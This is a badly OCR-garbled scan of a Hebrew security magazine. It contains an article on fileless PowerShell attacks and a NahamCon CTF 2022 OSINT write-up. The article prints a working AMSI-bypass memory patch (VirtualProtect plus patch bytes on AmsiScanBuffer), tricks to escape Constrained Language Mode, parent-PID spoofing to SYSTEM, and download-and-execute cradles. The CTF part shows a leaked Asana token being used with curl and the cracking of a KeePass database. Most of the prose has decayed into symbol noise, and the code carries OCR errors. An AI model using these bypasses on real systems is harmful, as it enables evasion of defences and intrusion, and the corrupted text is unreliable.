]::VirtualProtect($Address, [uint32]5, ©x40, [ref]$p)
[Byte[]] (oxB8, ©x57, ©x00, ©x07, 0x80, OxC3)
m.Runtime.InteropServices.Marshal]: :Copy"

N
|

A A

wn -
oA
t N
m

KAMSI ¥i7x 4 « 0 X7 4 ¥ 2 5@ [ ¥ s« s

> [

LX) ssX x . s

Constrained Language Mode

x ", w _ ~NET Framework -~ « 1 APIst * 11" ¢ _ ®¥_i{PowerShell x . _+ X

dx . *]11°.8_5 11 LAgbitrary code executiaid - x .74 X XX 4 . s

S Lo, S8 F . 07w x4 2% Language mode | *~U4 41  {PowerShett
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https://www.rythmstick.net/posts/amsitrigger/
https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_language_modes?view=powershell-7.2

PS C:\Users\erezg>

Y

.Runspace.lLanguageMode | Get-Member

TypeName: System.Management.Automation.PSLanguageMode

Name

ConstrainedLanguage Property
FullLanguage Property
NolLanguage Property
RestrictedLanguage Property

PS C:\Users\erezg>
FulllLanguage

MemberType Definition

.Management.Automation
.Management .Automation
.Management.Automation
.Management.Automation

static
static
static
static

System
System
System
System

« Ful

ILanguagé , ~PowerShell ' 1:_

X A XRT AN %X B . LY s €

Properties

.PSLanguageMode ConstrainedlLanguage {get;}
.PSLanguageMode FulllLanguage {get;}
.PSLanguageMode Nolanguage {get;}
.PSLanguageMode RestrictedlLanguage {get;}

PS C:\Users\erezg> $H
FulllLanguage

PS C:\Users\erezg> $Ex
PS C:\Users\erezg> $!

ConstrainedlLanguage

gy
Yo

w1 dhx X

~

t.Runspace.LanguageMode

xt.SessionState.LanguageMode

st.Runspace.lLanguageMode

x @pAstrained Language + * ¥ 1 x 1 _PewerShell

+ 1% ~ _ INETCOMAPI® xsy.|,

AMSI bypass _1

>

PS C:\Users\erezg> $ExecutionContext.SessionState.LanguageMode =

1. <

*

PS C:\Users\erezg> $Host.Runspace.lLanguagemode

ConstrainedLanguage
PS C:\Users\erezg> $Win32 = @"

using System;
using System.Runtime.InteropServices

public class Win32 {

[D11Import("kernel32")]

public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

[D11Import("kernel32")]

public static extern IntPtr LoadLibrary(string name);

[D11Import("kernel32")]

, 31 ~ss L 'Constrained Mod#&

-PowerShell 1 1L s
1

SRR

"ConstrainedLanguage”

public static extern bool VirtualProtect(IntPtr 1pAddress, UIntPtr dwSize, uint fiNewProtect, out uint 1pflOldProtect);

3
e

Add-Type $Win32

SLoadLibrary =
$SAddress =

[Win32]::LoadLibrary("am
[Win32]: :GetProcAddress($LoadLibrary,

5+ Ss1.d1l>)

Amsi” + "Scan" + "Buffer™)

::VirtualProtect($Address, [uint32]5, O0x40, [ref]$p)
[Byte[]] (OxB8, 0x57, 0x00, 0x07, Ox80, OxC3)

B%

‘SAddress, 6)"
+ $54XcK + $06251 +

: Ca type. [ n

SMEYXN + Sbdsw4 + SpCEf1l + SuULGn + $S6w7ER +
Defins &5 o8 =

of new ty is not th a

1

$8Ipws + §
is 1 a

ekxGx + $8bJ1b + $zbnSc + $Xr3sj + $KzKQb + $ImMTO)

pn

Fileless Attacks
www.DigitalWhisper.co.il

Hoand "mmdn = x 4 L Y

{ o S8 . 58 { X 4TI "



LY, _nxd Lo b8 X sPOpex o - ox L Ko~ s " {Gonstrtained Mode ~ 1 _
WVin32 APIg 4 & x L L X« X » 1 _ xassdmblies ~~ x s XAdldHTypes | x « s

Add-- x « Netbased language s 1 « 1 1 xx « PoWerShetf : x = «s:*s. s

a >A v

Y x PdwerShell class#s, * | 11,
YullLanguage

PS C:\Users\erezg> .Runspace.Languagemode
Fulllanguage
PS C:\Users\erezg> [System.Reflection.Assembly]::Load(

GAC Version Location

True v4.0.30319 C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__bo3f5f7f11d50a3a\System.Security.d1l

PS C:\Users\erezg>

ConstrainedLanguage

Fd.COMA 1 w4 AT X

https://devblogs.microsoft.com/powershell/powershetbnstrainedlanquagemodex

x | x ANISY bypass - * GonstrainedLanguage - X _ 45 <1 SX 1 AL o fXSIIX ¥

ConstrainedLanguage 't 1 _ T1443 k o1 14990 4151 | 11

ConstrainedLanguage
PS C:\Users\erezg> iex(new-object net.webclient).downloadstring(

PS C:\Users\erezg> iex (iwr

FY, X o XX He X553 « 5§ XAMSIS T 1 X308 7y X 7 IR s}

KConstrainedLanguade - _, *x PowerShell 4 {1 L5 X ** «
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https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/
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Unmanaged PowerShell

ConstrainedLanguadge- _ *x PowerShell {4 4 v ks " x 4 3 .1 ¥y s

EX Windows PowerShell

Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Try the new cross-platform PowerShell http aka.ms/pscoreé

PS C:\Users\userl> $Host.Runspace.LlLanguagemode

¥ 1 ‘Redistry: «S41 ¥ 547
HKEY_LOCAL_MACHBMSTEM urrentControlSé&tControl Session ManageEnvironment
¥ . DWORD 4 |, x s 1
Y PSLockdownPolicy
Yit o _ 4 dlap s

~

ﬁ Registry Editor
File Edit View Favorites Help
ComputerHKEY_LOCAL_MACHINE\SYSTEM\ CurrentControlSet\Control\Sessicn ManagerEnvironment

Remote Assistance ~ || Name Type Data

RetailDemo ab] {Default) REG_SZ (value not set)

ScEvents ab] ComSpec REG_EXPAND_SZ %SystemRoot %\ systern32\cmd.exe

SCMCenfig a_"WDri\rerD ata REG_SZ C\Windows\System32\Drivers\ DriverDat]

SceiPort ab| NUMBER_OF_PROCESSO... REG_SZ 2

SecureBoot a_b\|05 REG_5Z Windows_NT

SecurePipeServers a_b\|Path REG_EXPAND_SZ %SystemRoot ¥\ system32; %5y stemRoot

SecurityProviders ab| PATHEXT REG_SZ .COM;.EXE;.BAT:.CMD;.VES; VBE;.JS;.JSE;.

Server Applications ab| PROCESSOR_ARCHITECT... REG_SZ AMDBE4

ServiceAggregatedEvents ab| PROCESSOR_IDENTIFIER REG_SZ Intel&d Family 6 Medel 142 Stepping 12,
ey

s _ @owerShell _4 1 . $x . _ x CDhstrainedLanguage » 15_-~1x ¥l x s  x 4 |

<

K L, :sls. native- x sPowerShell 1 41 . s *x* H{ . PowerSheff @ +1

powershell_ise.exe ¥ 1 11"~ xs.yPowerShell.exe - * PowerSheff + 1 " 94 * 1" ¥ , *
A1 esx oy dii- | o f Bl SY¥stem.Management.Automation.dll | | X < -

YullLanguagg - _,*x 4 H L sPbwerShell - x v x ] _{!s]

>} BE¥ Windows MSBuildShell g

MSBuildshell
ht(C) 2016 Microsoft Corporation, subTee and Cn331iz. All rights reserved.

Fileless Attacks
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nativer s PowerShell + 1 1 1L ¢ ~s L ConstrainedLanguage ~ ! is. _ s €« . ] {
« L 1 MSBuildShelt + I's ¢ x* . .14 1L sXmsbuildexel 1 L s® s sk, %

ConstrainedLanguage s ~ ! ¥yxs{g x ]

~ BN cmd.exe 1756 233 ME  JB\userl Windows Command Processor
EH conhost.exe 6928 8.07 ME JB\userl Console Window Host
|§] M5Build.exe 5088 49.55 ME  JB\userl M5Build.exe

v N powershell.exe 1992 51.19ME  JB\userl Windows PowerShell
Bl conhost.exe 7052 488 MB  JB\userl Console Window Host

F 14, ~+ 3] AMSIE «, x « x{€DnstrainedLanguage s | * _* «5 X <« X 1,87 «

<

dx . ]
) 25 I S
1 https://github.com/Mr-Un1k0d3r/PowerLessShelPowerLessShell
9 https://github.com/padovah4ck/PSByPassCLREByPassCLM
e 520
11 command down here @ chrome.exe 5860
€ chromeexe 8480
@ chrome.exe 7676
@ chrome.exe 7432
G chrome.exe 6692
v E¥ powershell.exe 1992
B conhost.exe 7052
w [] PsBypassCLM.exe 4008
B conhost.exe 1584
1% ProcessHacker.exe 7920
CPU Usage: 9.43%  Physical memory: 1.04 GB (51,9

9 https://github.com/OmerYa/lnvisShell- InvisiShell

= B C\Windows\system32\cmd.exe

ion. All right

form PowerShell htt

op -Runspace.lLanguagemode

1, ~X<ts4 1 4 sl ~ ConstrainedLanguage _* - N T A SR 5 T TN BT

- A

®d {1 x ¥ $ConstrainedLanguaged _ 4" 4 " x ¥ B « {71 o LB x 4L x X

a

X,¥*PEwerShell 4 4 L sTixs X ]xCgsx " AMSE ox "X 0Dox {psxp] {4
Ks,,>s‘§A xI.|g?Ix\
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https://github.com/Cn33liz/MSBuildShell
https://github.com/Mr-Un1k0d3r/PowerLessShell
https://github.com/padovah4ck/PSByPassCLM
https://github.com/OmerYa/Invisi-Shell
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Defender Memory Scanning

” .~

L .Reflective PE Injection~ 4 7 1 1> _ _« % « Malwaresd 't 1 x _ds>4 _ " | A

~ <v

oo s x X0 bl kX BT ox xS, % \Windows Defender ATP

Met .~ LA 41 LK e Sx e XxST L, sX s s €) C# Assembly X 1170,
Defenders 1 = X ~ 1S4 004 40 ¥ WinAPIs* _ x _s{ 7> . PbWwerShell x . _ « %
Defenden. = *x ~J.fx% .~ 8 s X ¢4 I x 1 xiuxy upa.,:  x%iMimikatz % x "7 *

PowerShell 1 4L Sts{  sSsx .56

® 1 Parent process ~ PowerShell 1 1 L siivs 4 esqssa 4 7 xs”iye” x (0 Tod o |

explorerexe 1 : -PowerShell {4 . $x% 7 xx"+ X

°

EN powershell.exe (1736) Properties - 0O X

Environment Handles NET assemblies .NET performance GPU Comment
General  Statistics  Performance  Threads Token  Modules  Memory

File
B Windows PowerShell
(verified) Microsoft Windows

Version: 10.0.19041.546

Image file name:
l C:\Windows\System32\WindowsPowerShell\v 1.0\powershell. exe ‘ 'y

Process
Command line: \ C:\Windows\System32\WindowsPowerShell\v 1.0 tl 'S

Current directory: [ C:\Users\user1) |

Started: | 17 seconds ago (10:54:46 AM 5/6/2022) |
PEB address: { 0xff1ca9f000 I Image type: 64-bit
Parent: { explorer.exe (4772) I &

Mitigation polices: ‘ DEP (permanent); ASLR (high entropy); CF G| | Details

Protection: None Terminate

Close

14 354s* ®PID Spoffing « 1 7 1 1> " Parentprocess 1 + 1 1 &4 s+ 451
Yosgetsystem + 1 5 ¢ Isass 1 PowerShell _

v [ Isass.exe 672 Local Security Authority Proce...
BN conhost.exe 2400 Console Window Host
Started: | 11 seconds ago (11:04:39 AM 5/6/2022) |
PEB address: l 0x635¢ce72000 ‘ Image type: 64-bit
Parent: l lsass.exe (672) — ] &

Fileless Attacks
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psgetsystem
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Wimikatze s | ~ ¥ 7] CAMSE « x 7]

NN

P Virus & threat protection settings

View and update Virus & threat protection settings for Microsoft
Defender Antivirus.

Real-time protection
re from installing or running on your devic
ng for a short time before it turns back on

Locates and stops mal
You can tumn off t
automatically.

@D o

Cloud-delivered protection

d faster protection with ac

cloud. Works best with Automatic s:

voo ki X 37X XL M s x s s 1ox o <4 PowerSheft _+ 1 Y.BL X
¢s . ~ PowerSheft r 1 ¥ xx s {

Script Block Logging

~ L I PbwerShell _ *x "4 g4+ 1+ 1 11X« v 1 « kK | XScript Block Logging

X oy § 1% 4 4 XA x4l ] ., xlsx g s¢ | Ts] x :lIsx q

Event 4104, PowerShell (Microsoft-Windows-PowerShell)

General Details

Creating Scriptblock text (1 of 1):

Write-Host "-- AMSI Patch" — i—
\Write-Host "-- Paul Lak @ nA® (@am0nsec)”
Write-Host "*

SKemnel32 = @"
using System;
using System.Runtime.InteropServices;

public class Kernel32 {
[Dlllmport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string IpProcMame);

[Dlllmport("kernel32")]
public static extern IntPtr LoadLibrary(string IpLibFileMame);

[Dlllmport("kernel32")]

public static extern bool VirtualProtect(IntPtr [pAddress, UlntPtr dwSize, uint fINewProtect, out uint IpflOldProtect);
i
@

Add-Type SKernel32

Class Hunter {
static [IntPtr] Find Address{[IntPtr]Saddress, [byte[]]5eqgg) {
while (Strue) {
[int]Scount = 0

Log Mame: Microsoft-Windows-PowerShell/Operational

Source: PowerShell (Microsoft-Wind Logged: 06/05/2022 1:00:49

Event ID: 4104 Task Category:  Execute a Remote Command
Level: Warning —ese— Keywords: None

@ UROM OXDRBESE64 | X | LB%m X1 {1 44w XX {1s

Fileless Attacks
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I x  A4p ®sn, -~ PowerSheff Gloup Policgt « ' 1 |
FAdYy A5 B 11 Ka XD X s 4 s e s osh b X s e o xe s e o x 1 X

> v

S, 4 LEX%. |\.Y|_)ﬁv-| Y X:L)G”...v L

YVarning: _ ~Bvent410# +bi ! B 411 0 ¥ » X ] K 8 o Dossse oox oL foX X 4
06/05/2022 1:00:49 PowerShell (Microsoft-Windows-PowerShell) 4104 Execute a Remote Command
1 Warning 06/05/2022 0:51:31 PowerShell (Microsoft-Windows-PowerShell) 4104  Execute a Remote Command
v Warning 06/05/2022 0:51:31 PowerShell (Microsoft-Windows-PowerShell) 4104  Execute a Remote Command
! Warning 06/05/2022 :51:31 PowerShell (Micresoft-Windows-PowerShell) 4104 Execute a Remote Command
1. Warning 06/05/2022 0:51:31 PowerShell (Microsoft-Windows-PowerShell) 4104 Execute a Remote Command
! Warning 06/05/2022 0:51:31 PowerShell (Microsoft-Windows-PowerShell) 4104  Execute a Remote Command

AT sl Dol 1T A4 Y X L X xsi{ sPowerShelt _ x L4 ) D7y

N

YGroup Policy Script Block Logging

= Local Group Policy Editor
File Action View Help

e @2 HET

| Push To Install A | Windows PowerShell

| Remote Desktop Services 3 . .

| RSS Feeds Select an item to view its description.  Setting State Cemment
= Search |2, Turn on Module Logging Mot configured No
| Security Center e |i=| Turn on PowerShell Script Block Logging Mot configured No
"~ Shutdown Options 1iz] Turn on Script Execution Mot configured No
| Smart Card |i2) Turn on PowerShell Transcription Mot configured No
| Software Protection Platforr |iz] Set the default source path for Update-Help Mot configured No
~ Sound Recorder

| Speech

| Store

| Sync your settings

| Tablet PC

| Task Scheduler

| Tenant Restrictions

| Text Input

~ Windows Calendar

| Windows Color System

| Windows Customer Experie
"~ Windows Defender SmartSc
| Windows Error Reporting

| Windows Game Recording i
| Windows Hello for Business
"~ Windows Ink Workspace

| Windows Installer

~| Windows Logon Options

| Windows Media Digital Rigt
| Windows Media Player

| Windows Messenger

| Windows Mobility Center
| Windows PowerShell

— Windows Reliability Analysi

Group Policst + 1 ¥ X w. sl I ¥ § 4 <
' RYAYAAUGNI 0AQDS ¢SYLX I IS 3 ADRZ2HVER22FSNEXSR2 Y Sy (a
Registryt ~ 1 1 ¥V ¢ | x v 1,

HKLMSOFTWAR®B/ow6432Nod&PoliciesMicrosoft Windows PowerShellScriptBlockLogging
M 9YIFof S{ONRLII. £t201[233Ay3a T m

@Group Policy Module Logging Transcription- 4 ! ¥ ¢ uw _ X
Y _ _RbwerShell + 1 ¥ x p « xxx"d $ 1" p44x L4 &8 £5% Lyy

https://gist.github.com/cobbr/d8072d730b24fbae6ffe3aed8ca9c407
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https://gist.github.com/cobbr/d8072d730b24fbae6ffe3aed8ca9c407
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Foxol A

DL ITH L Wb o T ftax 4ls Lx % w3n A6 - | PowerShelk |+ |
F% LKA % e i e v U xX{]s PowerShellsE, 4d + % . 1S X @ 1Y

~ ~

@L:X | w. e X LS%J‘iSS:q% XFX‘I\//X“X\.”S\\X

{ LxI% @ (Wing offthe land)s . ~7uS 1L X <POWerShell I x 7 x X | s } {1 s X
Fleless attacl v 5 X _ 1 _ S L 45", < D BSR4l Ao F 1S 4.

P TSXT WS X MY T D X T 6 LK X LT ] 38T X

Fileless x| «rixs_ 4 1 xXx_ Iy APTBZFINGS = 1~ X « x * o

YA oseXs® o0 K X4 d o p 41,4, 3 44wl x " x,0
d  x XSl esxs]oa 197 *.xX BowerShell
@s ., xqLsx DAL HT 4 S,
P X'JX':“N N U SR I SR RIS |
¢ A R U I I 2% IR RV |
Fod deedle S 7 sesy b X L A R ox oD osesx s] " x XL ol 4 . s

® - ox Xaooxpd Lo 1

THX xS Ed | T T X X 3 Y K e, 4 T A ]

> o~ ~A

S L X A I L7 8 T 1 e TXEFUHT XTI X X Jpa e w X X

~ o~

dx ¥ .
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https://i.blackhat.com/briefings/asia/2018/asta8-TalLibermanDocumentingthe-Undocumented
TheRiseand-Faltof-AMSI.pdf The Rise and Fall of AMSI

https://s3cur3thlsshilt.github.io/Bypass AMSI_by manual _modificati®ypass AMSI by manual
modification
https://www.contextis.com/us/blog/amsbypass AMSI Bypass

https://github.com/cfalta/PowerShellArmoury/blob/master/modules/ TEMPLATE _evasion_AMSI_byp

ass.pst PowerShellArmoury

https://rastamouse.me/memorypatchingamsibypass/- Memory Patching AMSI Bypass

https://www.youtube.com/watch?v=_sPM9Er_194&t=10445V Evasion 101Powershell

https://www.youtube.com/watch?v=uE8IAXM BhE&t=1523aniel BohannorInvokeObfuscation:
PowerShell obFUsk8tion

https://www.youtube.com/watch?v=06dtlvDfyul&t=1693BowerShell Constrained Language Mode

Enforcement and Bypass Deep Dive

https://teamt5.org/en/posts/a-deep-dive-into-powershelis-constrainedlanguagemode/ - What is

Constrained Language Mode and Why it Matters
https://www.mandiant.com/resources/greatevisibilityt - Greater Visibility ThroughdwerShell
Logging
https://www.bc-security.org/post/powershelloggingobfuscationand-somenewishbypassesgart-
1/ - POWERSHELL LOGGING: OBRAUIC AND SOME NEW(ISH) BYPASSES

https://businessinsights.bitdefender.com/deegive-into-a-fin8-attacka-forensicinvestigation- Deep

dive into a FIN8 attackA forensic investigation

Fileless Attacks
www.DigitalWhisper.co.il
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https://i.blackhat.com/briefings/asia/2018/asia-18-Tal-Liberman-Documenting-the-Undocumented-The-Rise-and-Fall-of-AMSI.pdf
https://i.blackhat.com/briefings/asia/2018/asia-18-Tal-Liberman-Documenting-the-Undocumented-The-Rise-and-Fall-of-AMSI.pdf
https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification/
https://www.contextis.com/us/blog/amsi-bypass
https://github.com/cfalta/PowerShellArmoury/blob/master/modules/TEMPLATE_evasion_AMSI_bypass.ps1
https://github.com/cfalta/PowerShellArmoury/blob/master/modules/TEMPLATE_evasion_AMSI_bypass.ps1
https://rastamouse.me/memory-patching-amsi-bypass/
https://www.youtube.com/watch?v=_sPM9Er_194&t=1044s
https://www.youtube.com/watch?v=uE8IAxM_BhE&t=152s
https://www.youtube.com/watch?v=O6dtIvDfyuI&t=1693s
https://teamt5.org/en/posts/a-deep-dive-into-powershell-s-constrained-language-mode/
https://www.mandiant.com/resources/greater-visibilityt
https://www.bc-security.org/post/powershell-logging-obfuscation-and-some-newish-bypasses-part-1/
https://www.bc-security.org/post/powershell-logging-obfuscation-and-some-newish-bypasses-part-1/
https://businessinsights.bitdefender.com/deep-dive-into-a-fin8-attack-a-forensic-investigation
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https://he.wikipedia.org/wiki/%D7%9E%D7%95%D7%93%D7%99%D7%A2%D7%99%D7%9F_%D7%9E%D7%9E%D7%A7%D7%95%D7%A8%D7%95%D7%AA_%D7%92%D7%9C%D7%95%D7%99%D7%99%D7%9D
https://osintframework.com/
https://twitter.com/jnordine
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Keeber 1

Y Y ©ow &

G, 2dz KI @S 0SS y-levellchdrseduntydjobsi facusédyoii Nedonnaissance and open

source intelligence (OSINT). Great news! You got an interview with a small cybersecurity
company; the Keeber Security Group. Before interviewing, theytwaest your skills through a
series of challenges oriented around investigating the Keeber Security Group.

The first step in your investigation is to find more information about the company itself. All we
know is that the company is named Keeber Sec@ityup and they are a cybersecurity startiip.
¢2 A0FNIX KSfL) dzaA FAYR G(GKS LISNE2Y ¢K2 NBAIAAGSNBR

vonv =14 xy s,,tl\LSNXVZNHx‘xv”,_1kj2>1",,:\(Z»,s<x1

¥ - X3S oo X ox " x| $Kaeber Security Grolip x 1 X L Y XX Sl X T s

keebersecuritygroup.com

Keeber Security Group Team About Contact

Keeber Security
Group

Keeber Security Group is a startup focused on helping
small businesses with their security needs. Regardless
of what your online business may be, cybersecurity is
important to a company’s success, and should be
taken into account at all stages of the corporate

lifecycle.
Phone: 207-555-4786
Em::le:keehersezur\t,tgroup@pmtonmai\.mm KEEBER SECURITY GROUP

Penetration Tesling Information Protection Code Reviews
Simulated attacks on your compaines Secure database management for sensitive Review your companies code to find
network to find and patch vulnerabilites company and personal data vulnerabilities before releases
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x4 I 41,4 S Ta 1w _ whoisS | X & LS X { 4x 7

whois keebersecuritygroup. com

M x ¥ sl S.~x,,l 7 Is -{Zv\q_ L >§<“”:

# whois.name.com

Domain Name: KEEBERSECURITYGROUP.COM

Registry Domain ID: 2689392646_DOMAIN_COM-VRSN

Registrar WHOIS Server: whois.name.com

Registrar URL: http://www.name.com

Updated Date: 2022-04-15T01:52:49Z

Creation Date: 2022-04-15T01:52:48Z

Registrar Registration Expiration Date: 2023-04-15T01:52:48Z
Registrar: Name.com, Inc.

Registrar IANA ID: 625

Reseller:

Domain Status: clientTransferProhibited https://www.icann.org/epp#clientTransferProhibited
Registry Registrant ID: Not Available From Registry

Registrant Name: flag{ef67b2243b195ebad43c7dc797b75d75b} Redacted
Registrant Organization:

Registrant Street: 8 Apple Lane

Registrant City: Standish

Registrant State/Province: ME

Registrant Postal Code: 04084

Registrant

flag{ef67b2243b195eba43c7dc797b75d75b}
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https://manpages.debian.org/stretch/whois/whois.1.en.html
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Keeber2
Y Y I » & q!
G¢KS YSSOSNI { SOdzZNA (& DNRdzZLJ Aa | ySg adl Nldzl Ay

and some people have left the company. The Keeber SeGuity has been quick with changing
their website to reflect these changes, but there must be some way to fiecheboyees. Find a
exSYLJX 28SS GKNRdzZK (GKS 3INRdzZLUE ¢So0aAids o

=)

Y X .

X e x X sy s, X 15, X

~ "~ R T N ST I IR N PR I BV

- 1psq_IXx¥ x {p 4 oxX"s0, X} 8 LIXX X IXXC s X p YT S X} S X LT ]

, XX D X S xpss b T v v b W Ly o

Jeff Stokes Maria Haney
CEO <} CFO
v y
keeber-jeff@protonmail.com keeber-maria@protonmail.com
Mark Deleon Rachel Pollard
SENIOR SECURITY ENGINEER SECURITY ENGINEER
keeber-mark@protonmail.com keeber-rachel@protonmail.com
Rooney McConnell Stefan Atkison
HUMAN RESOURCES % y SOCIAL MEDIA MANAGER
keeber-rooney@protonmail.com keeber-stefan@protonmail.com
LT D x s sx, X X X X T X . L4 Toxoxx X7 X sy ¢
* J . L~ 'i|_ ~ T S R V‘I”‘IY\ 1 * 'F - — ] q ‘lm . Y L

s v ¥ Y 0"l S v s

K * kX x s

a

1 +Wofld Wide Webs 4« 13 ¥ 4l ¥*s Wayback Maching  $ ¢ x _ 7§ 7

>

A ~ ~ >

Wayback Maching - x s « XX (sl T rd "y F 1T s T e 4 X

a

@1 19t~ XS pid deaISXT Y 8 X Isx v, L x 7
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https://web.archive.org/
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X f1sox

INTERNET ARCHIVE  Explore more than 682 billion web pages saved over time

DONATE mﬂunnu"mgﬂ"l"u https://keebersecuritygroup.com/team

. Collections - Changes : Summary - Site Map : URLs

Results: 50 100 500

Saved 5 times between April 19, 2022 and April 30, 2022.

2003 2004 2005 2006 2007 2008 2009 2010 2011 2012 2013 2014 2015 2016 2017 2018 2019 2020 2021 m

JAN FEB MAR APR
1 1 2 3 4 5 1 2 3 4 5 1 2
4 5 6 7 8 6 7 8 9 10 11 12 6 7 & 9 10 11 12 3 4 5 8 7 8 9
M 12 13 14 15 13 14 15 16 17 18 19 13 14 15 16 17 18 19 10 11 12 13 14 15 16
18 19 20 21 22 20 21 22 23 24 25 26 20 21 22 23 24 25 26 17
25 26 27 28 29 27 28 27 28 20 30 3N 24
APRIL 19, 2022
1 snapshot
* 21:22:59
MAY JUN JuL
3 4 5 & 7 12 3 4 12
10 11 12 13 14 5 6 7 8 9 10 M 3 4 5 6 7 8 9 7
FXoxp s 0 sl X v T 0 L X piyx"xkoxs | 7 1 Xxsv sy s T p*
PN v ~ P v o v vV ~o
- )
Y « x Xpyslis xp vy 4o, ¥4 |
~ ~ v > A~
Mark Deleon Rachel Pollard
SENIOR SECURITY ENGINEER SECURITY ENGINEER
keebersecuritygroup@protonmail.com keebersecuritygroup@protonmail.com
Rooney McConnell Tiffany Douglas
HUMAN RESOURCES JUNIOR SECURITY ENGINEER
keebersecuritygroup@protonmail.com keebersecuritygroup@protonmail.com

flag{cddb59d78a6d50905340a62852e315¢9}

Stefan Atkison

SOCIAL MEDIA MANAGER

keebersecuritygroup@protonmail.com

flag{cddb59d78a6d50905340a62852e315c9}

NahamCorCTF 2022
www.DigitalWhisper.co.il
co Hoand "mmdn = x 4 L Y




Technologic

Keeber3

Y Y @ » &«

& ¢ K Sempffolee you found was fired for "committing a secret to public GitHub reposito
GKS O2YYAGGSR

CAYR

aSONBIU =

dKI G

' yR dza$S

s , X 1sl x ¢ x s 7%

14 _ix I X s ¢ ] gelurityevaluationworkflow~ -~ « fepository® . + 1 14 %4 5 x 1
« 117 'L { s .l xs_

~

R A
L s ~ 14 111 Keeber Security Group _ GitHubt ' x _

X S

Yepositorys | x:

Jhoxk oo ox A 7

Y “x" . ls

F 14w~ 1" dURL

G AL xax AL xxy

X, Y

LAk Fs X 1S LG

Keep up the great work KSG!
@ torvaids committed 29 days ago

started code_reviews.txt
©) Keeber-tiffany committed 29 days ago

Removed secret from repository,
@ Keeber-rachel committed 29 days ago

Fixed .gitignore
@ Keeber-rachel comitted 29 days ago

added .gitignore
©) Keeber-tiffany committed 29 days ago

added code_reviews.txt
©) Keeber-tiffany committed 29 days ago

2 8f755ac <>

il b25ed7f <>

Q7 | Verified =) 3115bda [$3
Verified i e92e126 <>

g1 @ e76da63 <>

Q 7853391 <

A x4 s X d

T X 8 8 f0x % x 1] 4s_ o yss. {1 1Lq,

Yasana_secrettd ~ « "5 X

Removed secret from repository
¥ main

e keeber-rachel committed 29 days ago  Verified

Showing 1 changed file with 0 additions and 1 deletion.

1 parent e92e126

Browse files

commit 3115bda63937831d2b43d52bbebebb352ccedc30

Split  Unified

vim asana_secret.txt [CJ
@@ -1 +0,0 @@

1 = 1/1202152286661684: f136d320deefe730f6c71a91b2edf7b1

x {usxs) {Asanar ! F e Y XY KT A LSTT L A v 1S T Ox RN
d <« Oxo, x Xy
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https://curl.se/docs/manpage.html
https://curl.se/docs/manpage.html
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x oS EMIE S ts s g o 4] X Adaha D x A XA 4,110

Msana _AP#t : «L « _ U curl

curl Request

curl https://app.asana.com/api/1.0/users/me \
-H "Authorization: Bearer 0/123456789abcdef"

I x LSS X ooslox w,y-{ JCEJI’U?: | X S« oo g $,~Xx= X, }d s . :)zs‘i:L‘H")NJ

BPI Tokert s « 7 XIX Iy 4 7 4 X [XWei s { ¢ _

¥ oo XOurlE ! X el 4 aeSXESX X D X" |

curl  https://app.asana. com/api/l.0/users/me - H "Authorization: Bearer
1/1202152286661684:f136d320deefe730f6¢c71a91b2e4f7bl

{"data":{"gid":"1202152286661684","email":"keebersecuritygroup@protonmai
l.com","name":" flag{49305a2a9dcc503cbh2blfdeef8a7ac04} " "photo":null,"res
ource_type":"user","workspaces":[{"gid":"1202152372710256","name":"IT","
resource_type":"workspace"},{"gid":"1146735861536945","name":"My
Company","resource_type":"workspace"},{"gid":"1202202099837958","name":"
Marketing","resource_type":" workspace"},{"gid":"1202201989074836","name"
"Informatique”,"resource_type":"workspace'},{"gid":"1202203933473664","
name":"Engineering","resource_type":"workspace"},{"gid":"120220558547411

2" "name":"Design","resource_type":"workspace"},{"gid":"120220642310
""name":"IT","resource_type":"workspace"},{"gid":"1202166412558403","na
me":"richdn.com","resource_type":"workspace"},{"gid":"1202206546743807",

"name":"IT","resource_type":"workspace"}|}}

AV oy siosg {7 X x ]

flag{49305a2a9dcc503ch2blfdeef8a7at0
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Keebea 4

YY . q!

& ¢ K Semfoifee also left the company password database exposed to the public tHrough

GitHub. Since the password is shared throughout the company, it must be easy for emplg
remember. The password used to encrypt tiagabase is a single lowercase word someH

relating to the company. Make a custom word list using the Keeber Security Groupgauitdj¢
AYF2NXYIFGA2YZ YR dzaS AG G2 2Ly GKS LI aawgz2NR

(Hint: John the Ripper may have support for cracking .kdssword hashes!)

Y x|
L. e R A A sux 1 xs il x40 x]” JoAn the Ripped ¢ |
XL b 4 X s T ox i 8 X e ¥ x{ Jse s 1L

I RSN B PO DTN I NI IR I IO SN B BN, RN
O X KD R R XTIXSER K« S st X

S LA TX R AST AT, Y XY L X S o LY e B P

S Y

~ X q-lEl’-’l ” qu)i_ V=X>>X<\,XXNS-],, 'I "”,..XSA ~ |! X X ,\I_ S| : x| :V”‘:’S\-” “:LX VX””L'I

Fod7 XD T osX X, 1« dagswordmanagerd ~ X 1 10X 1 fsF.s* 1 s GitHub® ! x

Y *s

A keebersecuritygroup / password-manager  Public
<> Code (© Issues 3 19 Pullrequests (®» Actions [ Projects [0 Wiki @ Security
¥ main ~ ¥ 1branch © 0tags

Q keeber-tiffany Add files via upload

[ ksg_passwd_db.kdbx Add files via upload

b X x 2xf0s x4 s*xso (¥ su s {RIRADE D | Xpd, X ¥ . xXs | X .

K & x X x x .x "4 deedss xs . Xss; . KéePass Password Safe _ # 1 $ . x 7
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https://www.openwall.com/john/
https://github.com/keebersecuritygroup/password-manager
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X XS fidrsox X lox U v Y o L kdbxd - M L« LT X x ]
T s v dbdes i x X s BS 4494, sl sx xS (ox DX
WHashcat " | * Johnthe Ripper ” 1 x ¥ X 4x « . " kdbX

YA s Ixp o X% dnd "4y D s X x -l s

®Rdbx® | X X« A _kasht: « L 1 dn
S XX A s x4 X x4~ AL
H, 1 w4 d_ 9 __-x* H"hasht: ~1 « " JohntheRipper ” | x - * s

\%'\Xsslx“-|>2x~ ZhQ_SMZ\OLTL”L\{A

~

keepass2john  ksg_passwd_db.kdbx > Keepasshash.txt

Cuétom Word List Generato€eWL: " | x :

~

O BT U B S N TS Jol T

Wvord_JistAxt1 | « 1% XSaep« XIS X S 2K ] sX o s {4y 5L S ke "

v o~

cewl https://github. com/keebersecuritygroup/security - evaluation - workflow

- w word_list.txt -- lowercase -d1

